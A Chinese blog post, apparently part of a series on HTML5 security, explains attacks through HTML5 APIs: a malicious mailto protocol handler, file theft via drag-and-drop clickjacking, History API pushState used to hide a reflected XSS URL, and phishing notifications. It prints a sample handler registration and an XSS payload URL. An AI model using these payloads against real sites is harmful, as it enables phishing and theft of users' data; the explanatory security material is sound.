? ? ? HTML5里有許多協議、模式和API,可能成為攻擊者的攻擊途徑。
? ? ??**一、registerProtocolHandler:信息泄漏**
? ? ??HTML5允許某些協議和schema注冊為新的特性。例如下面的語句可以注冊一個email handler。
~~~
navigator.registerProtocolHandler(“mailto”,“http://www.f.com/?uri=%s", “Evil Mail");
~~~
? ? ? 它會將一個惡意網站處理器關聯到mailto這個協議上,所以它在某些情況下的濫用會導致用戶信息泄漏。
? ? ??**二、文件API:竊取文件**
? ? ??HTML5另外一些API從安全角度來看很有意思,它們還能混合起來使用。
? ? ??例如文件API允許瀏覽器訪問本地文件,攻擊者可以將它與[點擊劫持](http://blog.csdn.net/hfahe/article/details/8138728)和其他攻擊混合起來獲得用戶本地的文件。比如騙取你從本地拖放文件到頁面里,這種方法在[劫持攻擊](http://blog.csdn.net/hfahe/article/details/8138728)一文中有較詳細的闡述。
? ? ??**三、歷史API:隱藏XSS URL**
? ? ??利用HTML5歷史API的pushState,可以隱藏瀏覽器地址欄的攻擊URL。例如我在瀏覽器地址欄輸入
~~~
http://test.baidu.com/?text=</div><script>history.pushState({},'',location.href.split("?").shift());document.write(1)</script>
~~~
? ? ? 這個地址,用戶將會僅僅只看到[http://test.baidu.com/](http://test.baidu.com/)。
? ? ??這個問題和現在流行的短網址技術結合起來,具有更大的隱蔽性。想象一下我們在微博上看到一個短網址,不會有任何懷疑就會點擊這個地址查看內容,而最后看到的地址也是相當正常的,但是在這個過程中用戶的信息和資料就不知不覺被盜取了。

短URL結合歷史API的攻擊
? ? ??**四、Web Notifications:盜取數據**
? ? ??[Web Notifications](http://dvcs.w3.org/hg/notifications/raw-file/tip/Overview.html)讓我們在瀏覽器中能夠接收推送的消息通知,但是它有可能會被攻擊者利用來構造虛假信息,騙取用戶數據。
? ? ??例如下圖里右下角的彈窗通知看起來非常正常,需要我們輸入Gmail密碼來登錄查看新郵件。但是一旦輸入密碼,Gmail郵箱就被盜取了。我們可以仔細看看,彈窗左上角顯示的域名是gmai1.com!這正是一個釣魚網站的欺詐手段。

桌面通知攻擊
? ? ??最后,隨著HTML5的發展,未來還可能出現新的HTML5安全問題,還可能還會向著復雜化和智能化去發展。
? ? ??相關文章:
? ? ??《[關注HTML5安全風險](http://blog.csdn.net/hfahe/article/details/7960705)》
? ? ??《[HTML5安全風險詳析之一:CORS攻擊](http://blog.csdn.net/hfahe/article/details/7961566)》
? ? ??《[HTML5安全風險詳析之二:WebStorage攻擊](http://blog.csdn.net/hfahe/article/details/7961618)》
? ? ??《[HTML5安全風險詳析之三:WebSQL攻擊](http://blog.csdn.net/hfahe/article/details/8049414)》
? ? ??《[HTML5安全風險詳析之四:Web Worker攻擊](http://blog.csdn.net/hfahe/article/details/8104263)》
? ? ??《[HTML5安全風險詳析之五:劫持攻擊](http://blog.csdn.net/hfahe/article/details/8138728)》
? ? ??本文為原創文章,轉載請注明:來自[蔣宇捷的博客](http://blog.csdn.net/hfahe):[http://blog.csdn.net/hfahe](http://blog.csdn.net/hfahe)
- 前言
- AutoPager的簡單實現
- 利用CSS3特性巧妙實現漂亮的DIV箭頭
- IE9在Win7下任務欄新特性簡介
- 瀏覽器九宮格的簡單實現
- Raphael js庫簡介
- 使用CSS3構建Ajax加載動畫
- 用CSS3創建動畫價格表
- 用CSS3實現瀏覽器的縮放功能
- 用純CSS3實現QQ LOGO
- 用CSS3創建旋轉載入器
- 使用Javascript開發移動應用程序
- 用HTML5創建超酷圖像灰度漸變效果
- 使用CSS3創建文字顏色漸變(CSS3 Text Gradient)
- 僅用CSS創建立體旋轉幻燈片
- 如何創建跨瀏覽器的HTML5表單
- 用CSS3實現動畫進度條
- HTML5 Guitar Tab Player
- 奇妙的HTML5 Canvas動畫實例
- 談HTML5和CSS3的國際化支持
- 實現跨瀏覽器的HTML5占位符
- 前端開發必備工具:WhatFont Bookmarklet-方便的查詢網頁上的字體
- 使用HTML5和CSS3來創建幻燈片
- HTML5之美
- 如何使用HTML5創建在線精美簡歷
- 以小見大、由淺入深-談如何面試Javascript工程師
- 快速入門:HTML5強大的Details元素
- 用CSS3實現圖像風格
- HTML5視頻字幕與WebVTT
- 用純CSS3實現Path華麗動畫
- 用3個步驟實現響應式網頁設計
- 遇見CSS3濾鏡
- 關于CSS3濾鏡的碎念
- 用純CSS3繪制萌系漫畫人物動態頭像
- CSS3新的鼠標樣式介紹
- 用HTML5獻上愛的3D玫瑰
- 對HTML5 Device API相關規范的解惑
- 如何使用HTML5實現拍照上傳應用
- 2012第一季度國外HTML5移動開發趨勢
- HTML5新特性:范圍樣式
- 百度開發者大會-《用HTML5新特性開發移動App》PPT分享
- Chrome 19對于HTML5最新支持的動態:電池狀態API,全屏API,震動API,語音API
- 遇見Javascript類型數組(Typed Array)
- 用HTML5 Audio API開發游戲音樂
- 用HTML5實現人臉識別
- 用Javascript實現人臉美容
- Chrome 20對于HTML5最新支持的動態:顏色輸入,網絡信息API,CSS著色器
- 用HTML5實現手機搖一搖的功能
- 用HTML5實現iPad應用無限平滑滾動
- 用非響應式設計構建跨端Web App
- 了解SVG
- HTML5圖像適配介紹
- HTML5安全:內容安全策略(CSP)簡介
- HTML5安全:CORS(跨域資源共享)簡介
- 用CSS3 Region和3D變換實現書籍翻頁效果
- 談談移動App的思維誤區
- Chrome新特性:文件夾拖拽支持
- 《關注HTML5安全》
- HTML5安全風險詳析之一:CORS攻擊
- HTML5安全風險詳析之二:Web Storage攻擊
- HTML5圖像適配最新進展:響應式圖片規范草案
- HTML5移動Web App相關標準狀態及路線圖
- HTML5安全風險詳析之三:WebSQL攻擊
- Chrome引入WebRTC支持視頻聊天App
- HTML5安全風險詳析之四:Web Worker攻擊
- HTML5安全風險詳析之五:劫持攻擊
- HTML5安全風險詳析之六:API攻擊
- HTML5安全攻防詳析之七:新標簽攻擊
- 在iOS Safari中播放離線音頻
- 使用WebRTC實現遠程屏幕共享
- Firefox、Android、iOS遇見WebRTC
- HTML5光線傳感器簡介
- HTML5安全攻防詳析之八:Web Socket攻擊
- HTML5安全攻防詳析之完結篇:HTML5對安全的改進
- 激動人心!在網頁上通過語音輸入文字 - HTML5 Web Speech API介紹
- Web滾動性能優化實戰
- 用CSS3設計響應式導航菜單
- 用HTML5構建高性能視差網站
- 漫談@supports與CSS3條件規則
- HTML5下載屬性簡介
- 如何開發優秀的HTML5游戲?-迪斯尼《尋找奧茲之路》游戲技術詳解(一)
- 如何開發優秀的HTML5游戲?-迪斯尼《尋找奧茲之路》游戲技術詳解(二)
- 趨勢:Chrome為打包應用提供強大新特性
- 從HTML5移動應用現狀談發展趨勢
- 基于HTML5的Web跨設備超聲波通信方案